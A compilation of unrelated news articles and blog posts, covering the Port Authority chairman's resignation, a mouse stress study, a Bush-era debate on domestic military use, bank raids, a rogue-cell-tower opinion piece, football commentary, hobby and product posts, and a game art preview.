-TRENTON — Gov. Chris Christie announced today that David Samson, whose chairmanship of the Port Authority of New York and New Jersey has come under fire in recent months, has resigned.  Samson, a close ally of Christie and a former attorney general of New Jersey, is reportedly under investigation by the U.S. Attorney of New Jersey in the face of accusations that his law firm, Wolff & Samson, had enriched itself by lobbying for companies with business before the Port Authority.  He told the governor of his decision in a telephone call, Christie said.  In a statement released today, Samson said: "Over the past months, I have shared with the Governor my desire to conclude my service to the PANYNJ. The timing is now right, and I am confident that the Governor will put new leadership in place to address the many challenges ahead."  Christie said that "in line with that belief, David tendered his resignation to me this afternoon effective immediately."  The stunning announcement came at the beginning of a Statehouse news conference, the first since a a two-hour session on Jan. 9 when Christie accepted responsibility for politically charged closing of access lanes at the George Washington Bridge and announced the dismissal of two close aides.  Samson was not referred to at all in a 360-page report released Thursday that Christie had sought to look into in the wake of the bridge scandal. The report absolved Christie and any current staff members of having a role in the closing of the bridge or a subsequent coverup.  Christie also said he would "fully embrace the reforms" included in the report, which was prepared by Randy Mastro, a lawyer with the firm Gibson Dunn & Crutcher.  "I intend to work with Gov. (Andrew) Cuomo … to bring a new day to the Port Authority."  A spokesman for the Port Authority declined comment today.  NJ Gov. Chris Christie announces resignation of Port Authority chairman David Samson 10 Gallery: NJ Gov. Chris Christie announces resignation of Port Authority chairman David Samson  RELATED COVERAGE  • Christie defends internal review of bridge scandal, floats idea of splitting up Port Authority  • Editorial: Port Authority chairman David Samson should resign  • Timeline of Port Authority's George Washington Bridge controversy  • Complete coverage of bridge scandal
-Summary: Researchers from Rockefeller University have identified what they claim to be ‘remarkable’ differences between the way the male and female brains respond to stress.  Source: Rockefeller University.  “Remarkable” is not a word you encounter very often in the scientific literature, where the unadorned description of experiments and their outcomes is the rule. But the adjective makes a bold appearance in a new report from The Rockefeller University, and with good reason.  Published this week in Nature Communications, the paper describes “remarkable” differences in the way the brains of males and females respond to stress. The findings, based on experiments with mice, are doubly notable because they occur in a part of the brain not normally associated with sex differences. They also have implications for the treatment of stress-related illnesses, including mood disorders.  “There is a need to include sex differences in neuropsychiatric research and endocrinology because men and women do respond differently to drugs,” says first author Jordan Marrocco, a postdoctoral associate in the neuroendocrinology lab of Bruce S. McEwen, Rockefeller’s Alfred E. Mirsky Professor.  That is especially important, notes McEwen, as scientists increasingly seek to tailor new medicines to individual patients. “Broadly speaking,” he says, “the pharmaceutical industry has followed a one-size-fits-all philosophy and tested drugs predominantly in males. Some drugs have undergone little testing in women when they go into actual clinical use.”  This can create serious problems, he says, citing the sleep drug Ambien, which was discovered to have a much stronger effect on women than men after it reached the market.  A gender divide  To investigate possible sex differences in the brain, the scientists focused on a region of the hippocampus known as CA3, which plays a crucial role in the stress response and is also involved in memory, the regulation of mood, and information processing. Specifically, they subjected male and female mice to a stressful task (a six-minute forced swim) and then used a method called TRAP, developed in the Rockefeller lab of Nathaniel Heintz, to look at how genes in their CA3 neurons responded.  What they found was, as they write, remarkable.  Many more genes (6,472) were altered by acute stress in CA3 in females than in males (2,474), when compared to unstressed controls. This large difference suggests, according to the study, that there is a clear genetic component in the response to stress. The scientists propose that genes in the parts of the brain that react to environmental stressors, such as the forced swim, may do so in female mice at a much greater rate than in males.  An additional finding underscores just how huge the differences in stress responses are between genders. The scientists identified 1,842 genes affected by stress in both sexes, however the vast majority of these “overlapping” genes responded in opposite ways in females and males- genes that were activated by stress in males were suppressed by stress in females, and vice versa.  Stress-induced diseases  McEwen’s group also experimented with mice engineered to carry a variant of the BDNF gene that, in humans, is known to increase the risk of developing stress-induced neuropsychiatric disorders. The researchers subjected these mice to cognitive tests—a common way to determine the impact of stress—and found that females with the gene variant had impaired spatial memory, even without being stressed. Males with the mutation, also unstressed, did not show such deficits.  The findings suggest that ovarian hormones may interact with the mutated gene in a way that increases the females’ stress-related memory impairment. Marrocco is investigating that possibility in a follow-up study.  The research in BDNF-impaired mice also sheds new light on the intricate relationship between genes and the environment, which can have the same effects on an organism through completely different mechanisms. “What we show,” Marrocco says, “is that gene expression in the brain of an unstressed mouse carrying this genetic variant is similar to that in a normal mouse who experiences acute stress.”  He adds that more research is needed into the biological differences known to exist between male and female stress responses. By identifying the genetic basis of these differences, and beginning to determine their location in the brain, McEwen and his team have taken a critical step in this direction.  About this neuroscience research article  Source: Katherine Fenz – Rockefeller University  Image Source: NeuroscienceNews.com image is credited to the researchers.  Original Research: Full open access research for “A sexually dimorphic pre-stressed translational signature in CA3 pyramidal neurons of BDNF Val66Met mice” by Jordan Marrocco, Gordon H. Petty, Mariel B. Ríos, Jason D. Gray, Joshua F. Kogan, Elizabeth M. Waters, Eric F. Schmidt, Francis S. Lee & Bruce S. McEwen in Nature Communications. Published online October 9 2017 doi:10.1038/s41467-017-01014-4  Cite This NeuroscienceNews.com Article  MLA  APA  Chicago Rockefeller University. “Stress Has Dramatically Different Effects on Male and Female Brains: Mouse Study.” NeuroscienceNews. NeuroscienceNews, 10 October 2017.  . Rockefeller University. (2017, October 10). Stress Has Dramatically Different Effects on Male and Female Brains: Mouse Study. NeuroscienceNews. Retrieved October 10, 2017 from http://neurosciencenews.com/stress-sex-differences-7703/ Rockefeller University. “Stress Has Dramatically Different Effects on Male and Female Brains: Mouse Study.” http://neurosciencenews.com/stress-sex-differences-7703/ (accessed October 10, 2017).  Abstract  A sexually dimorphic pre-stressed translational signature in CA3 pyramidal neurons of BDNF Val66Met mice  Males and females use distinct brain circuits to cope with similar challenges. Using RNA sequencing of ribosome-bound mRNA from hippocampal CA3 neurons, we found remarkable sex differences and discovered that female mice displayed greater gene expression activation after acute stress than males. Stress-sensitive BDNF Val66Met mice of both sexes show a pre-stressed translational phenotype in which the same genes that are activated without applied stress are also induced in wild-type mice by an acute stressor. Behaviourally, only heterozygous BDNF Val66Met females exhibit spatial memory impairment, regardless of acute stress. Interestingly, this effect is not observed in ovariectomized heterozygous BDNF Val66Met females, suggesting that circulating ovarian hormones induce cognitive impairment in Met carriers. Cognitive deficits are not observed in males of either genotype. Thus, in a brain region not normally associated with sex differences, this work sheds light on ways that genes, environment and sex interact to affect the transcriptome’s response to a stressor.  “A sexually dimorphic pre-stressed translational signature in CA3 pyramidal neurons of BDNF Val66Met mice” by Jordan Marrocco, Gordon H. Petty, Mariel B. Ríos, Jason D. Gray, Joshua F. Kogan, Elizabeth M. Waters, Eric F. Schmidt, Francis S. Lee & Bruce S. McEwen in Nature Communications. Published online October 9 2017 doi:10.1038/s41467-017-01014-4  Feel free to share this Neuroscience News.
-“The president has ample constitutional and statutory authority to deploy the military against international or foreign terrorists operating within the United States ,” the memorandum said.  The memorandum — written by the lawyers John C. Yoo and Robert J. Delahunty — was directed to Alberto R. Gonzales , then the White House counsel, who had asked the department about a president’s authority to use the military to combat terrorist activities in the United States.  The memorandum was declassified in March. But the White House debate about the Lackawanna group is the first evidence that top American officials, after the attacks of Sept. 11, 2001, actually considered using the document to justify deploying the military into an American town to make arrests.  Most former officials interviewed for this article spoke only on the condition of anonymity because the deliberations about the case involved classified information. They agreed to talk about the internal discussions only after the memorandum was released earlier this year.  New information has recently emerged about the deliberations and divisions in the administration over some of the most controversial policies after the Sept. 11 attacks, like the decision to use brutal interrogation methods on Qaeda detainees.  Former officials in the administration said this debate was not as bitter as others during Mr. Bush’s first term. The discussions did not proceed far enough to put military units on alert.  Still, at least one high-level meeting was convened to debate the issue, at which several top Bush aides argued firmly against the proposal to use the military, advanced by Mr. Cheney, his legal adviser David S. Addington and some senior Defense Department officials.  Advertisement Continue reading the main story  Among those in opposition were Condoleezza Rice , then the national security adviser; John B. Bellinger III, the top lawyer at the National Security Council ; Robert S. Mueller III , the director of the Federal Bureau of Investigation ; and Michael Chertoff , then the head of the Justice Department’s criminal division.  “Frankly, it was a bit of a turf war,” said one former senior administration official. “For a number of people, crossing the line of having intelligence or military activities inside the United States was not worth the risk.”  Mr. Bush ended up ordering the F.B.I. to make the arrests in Lackawanna, near Buffalo, where the agency had been monitoring a group of Yemeni Americans with suspected Qaeda ties. The five men arrested there in September 2002, and a sixth arrested nearly simultaneously in Bahrain , pleaded guilty to terrorism-related charges.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  Scott L. Silliman, a Duke University law professor specializing in national security law, said an American president had not deployed the active-duty military on domestic soil in a law enforcement capacity, without specific statutory authority, since the Civil War.  Senior military officials were never consulted, former officials said. Richard B. Myers , a retired general who was chairman of the Joint Chiefs of Staff , said in a recent interview that he was unaware of the discussion.  Former officials said the 2002 debate arose partly from Justice Department concerns that there might not be enough evidence to arrest and successfully prosecute the suspects in Lackawanna. Mr. Cheney, the officials said, had argued that the administration would need a lower threshold of evidence to declare them enemy combatants and keep them in military custody.  Earlier that summer, the administration designated Jose Padilla an enemy combatant and sent him to a military brig in South Carolina . Mr. Padilla was arrested by civilian agencies on suspicion of plotting an attack using a radioactive bomb.  Those who advocated using the military to arrest the Lackawanna group had legal ammunition: the memorandum by Mr. Yoo and Mr. Delahunty.  The lawyers, in the Justice Department’s Office of Legal Counsel, wrote that the Constitution, the courts and Congress had recognized a president’s authority “to take military actions, domestic as well as foreign, if he determines such actions to be necessary to respond to the terrorist attacks upon the United States on Sept. 11, 2001, and before.”  Advertisement Continue reading the main story  The document added that the neither the Posse Comitatus Act nor the Fourth Amendment tied a president’s hands.  Despite this guidance, some Bush aides bristled at the prospect of troops descending on an American suburb to arrest terrorism suspects.  “What would it look like to have the American military go into an American town and knock on people’s door?” said a second former official in the debate.  Chief James L. Michel of the Lackawanna police agreed. “If we had tanks rolling down the streets of our city,” Chief Michel said, “we would have had pandemonium down here.”  The Lackawanna case was the first after the Sept. 11 attacks in which American intelligence and law enforcement operatives believed they had dismantled a Qaeda cell in the United States.  In the months before the arrests, Mr. Bush was regularly briefed on the case by Mr. Mueller of the F.B.I. and George J. Tenet , the director of central intelligence. The C.I.A. had been tracking the overseas contacts of the Lackawanna group.
-A New Zealand firm says it successfully trialled technology to separate hemp fiber and cellulose fresh in the field during its harvest this year. The machine, the Clarke D8 decorticator, was invented by its late namesake, Australian Adrian Clarke, who developed the D8 through two decades of research and trials at TCI Australia, based in Victoria.  Waikato-based Hemp Farm NZ Ltd, said tests this harvest season in its fields included stressing the machine to the breaking point. A team of engineers identified points of weakness which were then re-engineered to further improve performance, the company said.  Hemp Farm said the D8 is a cost-effective alternative to traditional hammer mills used in the decortication process — often multi-million dollar machines that separate the fiber by forcefully pounding the hemp stalks.  The Clarke D8 costs a fraction of the price of a hammer mill, and farmers can use their land immediately after harvest, the company noted.  Hemp Farm works with farmers, researchers and environmentalists developing programs for health, ecological housing and environmental restoration.
-When you think of Troy, NY, men’s fashion is probably not the first thing that comes to mind. Jonathan Brust wants to change that.  This Friday, September 26th, Jonathan’s store, The Enigma.co., officially opens its doors at 16 1st St Troy, NY. Inside the historic building are some not-so-historic products: designer men’s clothing, accessories, high-end skincare products, and more will all be stocked for the gentleman-in-need.  #gmap_canvas img{max-width:none!important;background:none!important}  Jonathan’s mission came to fruition one night while he was out with friends and realized the apparent lack of stores in the area that cater to the new generation of refined men. The Enigma.Co was established to make up for this void; to allow men in the capital district to embrace the “feel good” factor that they are not accustomed to, but women in the region have an overwhelming supply of.  At last, an outlet will be available for men in the area who seek to better themselves and feel great doing it. Jonathan also plans on hosting events catered for men’s needs such as whiskey nights (yes, whiskey is a need), as well as shaving and grooming tutorials. If you are in the Albany area and in need of a wardrobe change as the seasons turn, take a trip to Troy to visit The Enigma.co and craft your new, confident look.
-In a second income tax raid conducted on Axis Bank, one of the country's largest private sector bank, in less than a week's time, the I-T deparment said it has found Rs 100 crore deposited in 44 fake accounts at the bank's Chandi Chowk branch in New Delhi, News 18 report said.  The I-T department is believed to be questioning the manager of Chandni Chowk branch, says report.  Another report says that so far Rs 450 crore had been deposited in Axis bank post the government's note ban exercise.  Axis Bank in a statement said the lender is cooperating with investigators and will take action on wrongdoers. "The bank is committed to following the highest standards of corporate governance and has zero tolerance towards any deviation on the part of any of its employees from the set model code of conduct. Strict action will be taken against any employee found deviating from the guideline . We would also like to add that we are cooperating with the investigating agencies," the statement said.  Recently, Axis Bank said it had suspended its 19 officials allegedly involved in illegal activity post demonetisation. The bank suspended 19 officials including 6 of Kashmere Gate branch of Delhi itself, Axis Bank executive director Rajesh Dahiya had said.  Earlier this week, the Enforcement Directorate arrested two Axis Bank managers in New Delhi and seized 3 kg gold bars in connection with its money laundering probe in a racket of illegally converting old notes in connivance with banking authorities.  The agency's probe till now, after it registered a criminal complaint under the Prevention of Money Laundering Act (PMLA) on 30 November, found that huge monies were transferred through RTGS transfers to some shell companies including a case where the Director of such a firm was a "petty labourer."  The agency identified the two managers as Shobit Sinha and Vineet Gupta, working at Axis bank's Kashmere Gate branch, and said they were arrested late yesterday under the provisions of PMLA.  The case was first detected by the Delhi Police after it intercepted three people with cash of about Rs 3.7 crore in old notes, in front of the said Axis Bank branch last month, and the ED took cognisance of the police FIR to slap money laundering charges against the accused.  The Income Tax department too had carried out its action in this case and had surveyed the bank branch and later searched the residential premises of the duo.  With PTI inputs  Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.
-I recently took delivery of a MicroZed I/O Carrier Card, which complements the MicroZed System on Module (SOM) approach by breaking out the numerous I/O ports on the MicroZed board’s two micro connector headers.  The compact size of the MicroZed  The concept behind the MicroZed is that that it allows you to create a system of modules where the same compact MicroZed board can plug into a variety of application-specific carrier cards. When you stop and think about it this approach has a number of benefits:  Reduces Non-Recurring Effort in the development of the product, allowing focus to remain on areas of added value (e.g. an application-specific carrier card, which is simpler and easier to design).  Use of the MicroZed SOM board as a core provides a rapid-development hardware platform that allows the development team to begin very early testing of designs based on the Zynq SoC.  There’s no need to design a custom SoC and perform the subsequent verification, which greatly reduces time to market.  Allows the hardware design effort to be targeted at the application-specific card carrier, which reduces risk.  The MicroZed SOM concept is very flexible because the core MicroZed board breaks out just not the I/O from the programmable logic (PL) side of the Zynq SoC but also from the processor system (PS) side. One really interesting aspect is that the Zynq SoC’s I/O bank voltages are also accessible from the micro-connector headers on the MicroZed board and can therefore be driven by an external card. This enables a carrier card to set the Zynq’s I/O voltages for banks 34, 35 and 13 if you are using the Zynq Z7020 version of the MicroZed. The I/O Carrier Card supplies the I/O voltages required for the application at hand.  The MicroZed is installed on the left side of the I/I Carrier Card  The MicroZed board is also designed so that the board’s 5V power can be supplied from either the USB port or via the carrier card. This is achieved by diode-OR’ing the power supply lines from the MicroZed’s USB port and from the micro header on the MicroZed board.  There are currently three off-the-shelf carrier cards which can be purchased off the shelf from Zedboard.org:  The MicroZed I/O Carrier Card, as shown above. We will be exploring the use of this board over the next few blogs.  A MicroZed Breakout Carrier Card, which provides a bread boarding area for developing prototypes and one-off solutions.  The MicroZed FMC carrier card, which adds a low-pin-count (LPC) FMC interface to the MicroZed.  The I/O Carrier Card I will be experimenting with over the next few blogs comes with 12 PMOD (Digilent Peripheral Module) interfaces, LEDS, switches, and a 100MHZ oscillator used for clocking the PL side of the Zynq. I would like to use the I/O Carrier Card to test out a few concepts I have been demonstrating over the last few blogs. Hopefully my orders will arrive before I sit down to write the next blog.  Please see the previous entries in this MicroZed series by Adam Taylor:  Zynq DMA Part Two – Adam Taylor’s MicroZed Chronicles Part 29  The Zynq PS/PL, Part Eight: Zynq DMA – Adam Taylor’s MicroZed Chronicles Part 28  The Zynq PS/PL, Part Seven: Adam Taylor’s MicroZed Chronicles Part 27  The Zynq PS/PL, Part Six: Adam Taylor’s MicroZed Chronicles Part 26  The Zynq PS/PL, Part Five: Adam Taylor’s MicroZed Chronicles Part 25  The Zynq PS/PL, Part Four: Adam Taylor’s MicroZed Chronicles Part 24  The Zynq PS/PL, Part Three: Adam Taylor’s MicroZed Chronicles Part 23  The Zynq PS/PL, Part Two: Adam Taylor’s MicroZed Chronicles Part 22  The Zynq PS/PL, Part One: Adam Taylor’s MicroZed Chronicles Part 21  Introduction to the Zynq Triple Timer Counter Part Four: Adam Taylor’s MicroZed Chronicles Part 20  Introduction to the Zynq Triple Timer Counter Part Three: Adam Taylor’s MicroZed Chronicles Part 19  Introduction to the Zynq Triple Timer Counter Part Two: Adam Taylor’s MicroZed Chronicles Part 18  Introduction to the Zynq Triple Timer Counter Part One: Adam Taylor’s MicroZed Chronicles Part 17  The Zynq SoC’s Private Watchdog: Adam Taylor’s MicroZed Chronicles Part 16  Implementing the Zynq SoC’s Private Timer: Adam Taylor’s MicroZed Chronicles Part 15  MicroZed Timers, Clocks and Watchdogs: Adam Taylor’s MicroZed Chronicles Part 14  More About MicroZed Interrupts: Adam Taylor’s MicroZed Chronicles Part 13  MicroZed Interrupts: Adam Taylor’s MicroZed Chronicles Part 12  Using the MicroZed Button for Input: Adam Taylor’s MicroZed Chronicles Part 11  Driving the Zynq SoC's GPIO: Adam Taylor’s MicroZed Chronicles Part 10  Meet the Zynq MIO: Adam Taylor’s MicroZed Chronicles Part 9  MicroZed XADC Software: Adam Taylor’s MicroZed Chronicles Part 8  Getting the XADC Running on the MicroZed: Adam Taylor’s MicroZed Chronicles Part 7  A Boot Loader for MicroZed. Adam Taylor’s MicroZed Chronicles, Part 6  Figuring out the MicroZed Boot Loader – Adam Taylor’s MicroZed Chronicles, Part 5  Running your programs on the MicroZed – Adam Taylor’s MicroZed Chronicles, Part 4  Zynq and MicroZed say “Hello World”-- Adam Taylor’s MicroZed Chronicles, Part 3  Adam Taylor’s MicroZed Chronicles: Setting the SW Scene  Bringing up the Avnet MicroZed with Vivado
-Hire a senior Perl / Python programmer today; download my up-to-date resume (PDF)  A scorpion giving birth  Thanks for the digg! Anyway, to answer some question I noticed in the comments: the babies do not come out of the mouth of the mother, but from an opening near the pectines (featherlike structures underneath the scorpion). The first photo on Scans of Diplocentrus species shows the pectines to the left and the right of a rectangular piece with a "half-round dent". The dent is where the opening is located.  The mother might eat her babies, but this mostly happens when she is stressed too much. If you're interested in scorpions in general (or other arachnids like tarantulas, vinegaroons, etc), this site has a lot of related photos, nature walks, etc. The easiest way to find something of interest is to use google, for example: site:johnbokma.com scorpions.  Related  Today, after Esme and I had returned from some shopping at Wal-Mart, I discovered that one scorpion was giving birth: a Diplocentrus species, probably Diplocentrus melici, which we had captured the 23rd of April, 2006. Later that day we captured another female. The latter gave birth some time ago, but shortly after died. My best guess is that it somehow got ill, and aborted the scorpions, none of which survived because the mother died before they were old enough to survive without her.  In the above photo you can see the scorpion giving live birth. In front of her, a baby is struggling out of its embryonic sac (not sure if it's that). Her front legs (not the claws) form a kind of cradle to catch the babies when they leave her body. One tiny newly born scorpion is climbing up. Baby scorpions ride on the back of their mother for the first week or so.  I am going to do my very best to keep as many alive as possible, probably using the same techniques as I use with the Diplocentrus bereai juveniles I keep. And since my hobby has its limits, space wise, I have plans to return the juveniles to the same location we captured the mother from after a year or so.  Diplocentrus melici related  Also today
-A few weeks back, Popular Science posted an article about phony cell towers being outed all over the country by some of the new, supposedly “ultra-secure” cell phones that have come out in the last few years following former NSA Contractor Edward Snowden’s leaks about the government spying on everyone.  These towers look like any ordinary cell phone tower, but are not officially connected to any cell phone company. Once in the vicinity of one of these fake towers, a multitude of different attacks can hit a user’s phone, including everything from spyware uploads to eavesdropping.  Via PopSci:  “Interceptor use in the U.S. is much higher than people had anticipated,” Goldsmith says. “One of our customers took a road trip from Florida to North Carolina and he found 8 different interceptors on that trip. We even found one [in the vicinity of] South Point Casino in Las Vegas.” Who is running these interceptors and what are they doing with the calls? Goldsmith says we can’t be sure, but he has his suspicions. “What we find suspicious is that a lot of these interceptors are right on top of U.S. military bases. So we begin to wonder – are some of them U.S. government interceptors? Or are some of them Chinese interceptors?” says Goldsmith. “Whose interceptor is it? Who are they, that’s listening to calls around military bases? Is it just the U.S. military, or are they foreign governments doing it? The point is: we don’t really know whose they are.”  take our poll - story continues below  Will the media learn anything from their biased reporting of the Jussie Smollett story? Will the media learn anything from their biased reporting of the Jussie Smollett story?  Will the media learn anything from their biased reporting of the Jussie Smollett story? * Yes, they've gotten so much wrong recently that they're bound to be on their best behavior. No, they suffer from a bad case of Trump Derangement Syndrome. Jussie who?  Email *  Email This field is for validation purposes and should be left unchanged. Completing this poll grants you access to Freedom Outpost updates free of charge. You may opt out at anytime. You also agree to this site's Privacy Policy and Terms of Use.  Now, the Washington Times is reporting that not just one, but several of these towers have been located in D.C. around the capitol, so you can just take a big fat guess on who the phony towers are targeting.  These are just the towers that have been found, some two dozen so far. While some are stationary, these rogue towers can also apparently be portable and as small as a brief case. Wired reported, “The reach of a rogue tower can be up to a mile away, forcing thousands of phones in a region to connect to it without anyone knowing.” Think of the ramifications.  Sadly, when WT also interviewed ESD America CEO Les Goldsmith on the matter, Goldsmith told the outlet that he doesn’t think it’s the American government doing it because, “the federal government already has the capability of tapping directly into the carriers.”  That’s right. Who could forget.  But then again, we shouldn’t make assumptions about where the use of this technology — potentially by multiple players in both the public and private spheres — begins and ends.  A case in Florida revealed the use of StingRay, one form of these cell phone interceptors, by law enforcement. As Aaron Dykes of Truthstream Media reported last June, police departments are using hush hush surveillance technology, apparently with training and even direct supervision by the FBI, that can sweep up phone data from an entire neighborhood at once:  According to the Associated Press, the Obama Administration has been actively advising police departments to refuse disclosure about certain cell phone surveillance technologies, including the widely used “StingRay” device, even in routine state records requests. Evidently, the StingRay technology allows law enforcement to “trick” cell devices into sharing identifying personal and location data with them that would ordinary be sent to communications companies and require request procedures. Instead, police are bypassing company assistance and collecting unique information on suspects, persons of interests, and – as the AP reports – they can even “sweep up basic cellphone data from entire neighborhoods,” all without any court orders or oversight.  From what is currently known about these phony phone towers, Les Goldsmith is pointing to a foreign entity as the operators doing this. While this information has been passed to the FCC, is anything going to be done about it?  Wired reported that the agency is actually assembling a task force to deal with this issue. In the meantime, I guess we can all just have fun with getting spied on and having our phone’s data stolen and spyware forced onto it everywhere we go.  Then again, considering what Goldsmith pointed out — essentially that we’re already being directly spied upon by our government all the time anyway directly through the carriers — will anyone in officialdom even pretend to care that phony, malicious spy devices are popping up all over the country?  But we live in such a matrix, it’s sad to the point of laughable that while these fake towers are actively spying on Capitol Hill and the deep inner workings of our government, if you or I as an individual go there to take a picture of some of those famous landmarks with our cameras, we might just get stopped and questioned about what business we have snapping a photo.  You know, as a matter of national security.  Source
-Washington: Indonesia, the country with the largest Muslim population in the world, has gifted an imposing 16 feet statue of Saraswati, the Hindu goddess of education and wisdom, to the American Capital city of Washington DC.  The statue of goddess Saraswati on top of a lotus flower, stand tall a block away from the Indian Embassy in front of a statue of Mahatma Gandhi which was installed several years ago.  Just three per cent of Indonesian population is Hindus.  Little over a mile from the White House, the statue is yet to be formally inaugurated, but has already become an attraction of city residents and the large number of tourists who visit the city every day.  "Dewi Saraswati is one of the Goddesses in Hinduism, the primarily practiced religion among Balinese people in Indonesia, which itself is the world`s biggest Muslim-majority country.  Yet, her representation at the Indonesian Embassy was not decided out only of any religious grounds, but more on its symbolized values that parallel with several key principles of Indonesia-US relations under comprehensive partnership, in particular education and people-to-people contact," a spokesperson of the Indonesian Embassy told PTI.  A cultural gift from Indonesia to the city of Washington, DC, this statue began to be constructed mid-April this year by five native Balinese sculptors led by I Nyoman Sudarwa, wrapped up the job in a mere five-week period.  "Although the official inscription is yet to be honored, the public can readily enjoy this 4.9-meter tall statue today by the entrance to the Embassy building on Massachusetts Avenue," the spokesperson said.  Prior to its installing, the structure of the statue was first built in Bali and later flown to the US Capital in early April 2013. This steel structure was divided into three parts: upper body, lower body, and base, the latest consisting a formation of a lotus flower and a white goose.  Furthermore, instead of using bronze or stone, the sculptors opt for a mix of cement to model the body of the statue.  "At its conclusion, this statue evidently presents a strong flair of Balinese art as the sculptors put particular touches of gold on the predominantly radiant white figure, especially on the dress and head accessory worn by the Goddess," the official said.  In the status, goddess Saraswati is depicted to be having four hands: one holds an "aksamala" (prayer beads) symbolizing the eternal process of learning; two play a "vina" (a string instrument) symbolizing arts and culture; and the last one holds a "lontar" (manuscript) symbolizing the source of knowledge.  Additionally, the lotus that she stands on illustrates holiness and purity of knowledge, while the white goose depicts wisdom that knowledge is hoped to bring.  "With these culturally dense symbolizations, it is expected that the erection of this statue could help promote the importance of mutual understanding within the diverse society we are increasingly having today," the Indonesian spokesperson said.  The installment of the statue was initiated by the Indonesian Ambassador to the US, Dr. Dino Patti Djalal, with the support of the chairman of the National Economic Committee as well as the Badung regent in Bali.  PTI
-FourFourTwo's Steve Davis penned this when assessing what Week 1:  "A little more of this: Fans calling Ben Olsen into question. Actually, D.C. United fans calling the club’s entire front office structure and management into question. Olsen’s record now stands at 64-78-41, and a fluky U.S. Open Cup is pretty much the net-out for a guy who took over back in 2010. It just doesn’t look like United is going anywhere."  You probably agree with it. After all, "Bennyball" is ugly and boring. However, this request is absolutely absurd. I can even prove it to you.  First of all, although Olsen is going to his seventh season, he still is the 3rd youngest coach in the league. He was basically still in his DIAPERS, when he took the team's realm in 2010.  Morover, saying that team is going nowhere is false. As people say in Brazil, stats are like bikini, they show everything, except what matters the most. Olsen's total record is deceiving. Between 2010 and 2013, i.e., in Olsen's first four seasons, his record was 35-67-30.  However, considering his last four seasons, i.e., between 2012 and 2015, his record is 52-56-28. It is still a losing record, but the point is that his last four seasons were way better than his first four. Team is clearly going somewhere.  People seem to forget, but in the last four years, United has:  a. finished among the top-4 in the East three times, both in regular season (2nd, 2012; 1st, 2014; 4th, 2015) and in playoffs (2nd, 2012; 3rd, 2014; 4th, 2015);  b. won the Eastern Conference Regular Season once (2014);  c. qualified twice to CCL’s quarterfinals (2014, 2015).  However, Steve Davies decided to disregard all that, and asked Olsen's and Kasper's head. After all, the 2013 Open Cup title was a fluke, because, you know, 2013 is what DC United is all about. For him, you, and many people more, those other years have actually never happened.  The truth is Ben Olsen is becoming a better coach very year, and, with him, United is becoming a better team every year. So, do not be surprised if, by the end of the season, United was better than you thought we would be at the beginning. This 2016 DC United is not the 2013 DC United you, Steve Davis, Matthew Doyle, et al., wish us to be.
-Spider-infested cargo ship turned back from Guam over fears they'd overrun Pacific isle  A ship which arrived in the Pacific island of Guam was turned away after thousands of spiders poured out of its cargo.  The creepy crawlies were seen when dockers began offloading insulation and beams for housing units from the vessel which had travelled from South Korea.  The cargo was returned to the MV Altavia and the ship was ordered to sail away over fears the spiders could overrun the U.S. territory.  Invasion: One of the spiders found on a crate aboard the cargo ship MV Altavia  ‘When you get this many from this many various sizes, it's definitely an infestation,’ said Department of Agriculture director Joseph Torres.  Agriculture officials said they did not know what species of spider was on the ship.  But they said it was a type that was not normally found on Guam and there was concern that it could damage the island's environment.  ‘It's not on Guam,’ Mr Torres added. ‘We don't want it here.’  The ship was carrying housing units and accessories which were to be used at a village expected to house up to 18,000 temporary workers.  Tests: Spiders in sample tubes are being examined to determine their species  Before the ship initially docked, officers with the Guam Customs and Quarantine Agency boarded the ship and gave clearance for cargo to be unlocked for offloading, said Bernadette Meno, an administrator for the Port Authority of Guam.  But when port workers saw the spiders, the containers were ordered back on the ship and it was anchored in the harbour.  The decision was later made not to let the ship return.  Location: South Korea, where the ship sailed from, and Guam, where it arrived  Marianas Steamship Agencies arranged for the ship's arrival and departure.  Its vice president, Richard P Sablan, said he would follow the orders of customs, agriculture and U.S. Coast Guard officials.
-The summer signing from Manchester City is not on his way out of the club at the moment.  This summer saw West Ham United snap up Norwegian youngster Martin Samuelson from Manchester City. The 18-year-old decided to make the switch to East London at the end of his contract at City as he looks for more regular first-team football in England.  He has now been speaking about his hopes for the season to Norwegian site Aftenposten. He told the site that he was hoping for first-team football at West Ham this season and stating that the club had no designs on sending him out on loan this campaign.  He said:  "I do not think the club wants to send me on loan. There are many games this season. I will not be disappointed if I have to play for the U21 team, I take it as it comes."  Samuelson has been impressing in pre-season and The Hammers seem to have picked up a good bargain.  But should they send him out on loan?  Samuelson might want to remain at the club but the fact is a loan away from the club might be perfect for him. The attacking midfielder would have plenty of local options to choose from if he did head out on a temporary deal away from The Hammers.  However he should stay. He is still young and playing in the under-21s will certainly be good enough for his development at the moment.  In time a loan spell will be perfect for the player but right now the best place for the Norwegian is West Ham.
-Mirthful Mike’s Art Blog: Mage 20th Anniversary Art Preview pt 3  Mage: The Ascension  Hi Everybody,  Getting an earlier start today than I did on last week’s blog. This week we are revealing one more of Steve Prescott’s pieces, the Orphans “splat” (pictured to the left). Her description as written by the developer:  Vaguely sheltered from a storm stands a dark-skinned Brazilian girl, late teens/ early 20s, with long black hair and layers of ragged neotribal clothing – leggings, skirts, bangles, strategically-cut/ slashed t-shirt, long fingerless gloves, etc. Urban tribal tattoos and other body art compliment her deliberately ragged clothes. Barefoot on glass-strewn, rain-washed pavement, she looks haunted yet defiant – an impression enhanced by her makeup.  This week I’d like to ask you all what kind art blog posts you’d like to see? Would you like to see a monthly artist spotlight sort of like we used to do in the Night Editions? Maybe you would like to see the evolution of a piece of signature art from the early conceptualization to the final illustration? Leave your suggestions in the comment section and let me know.
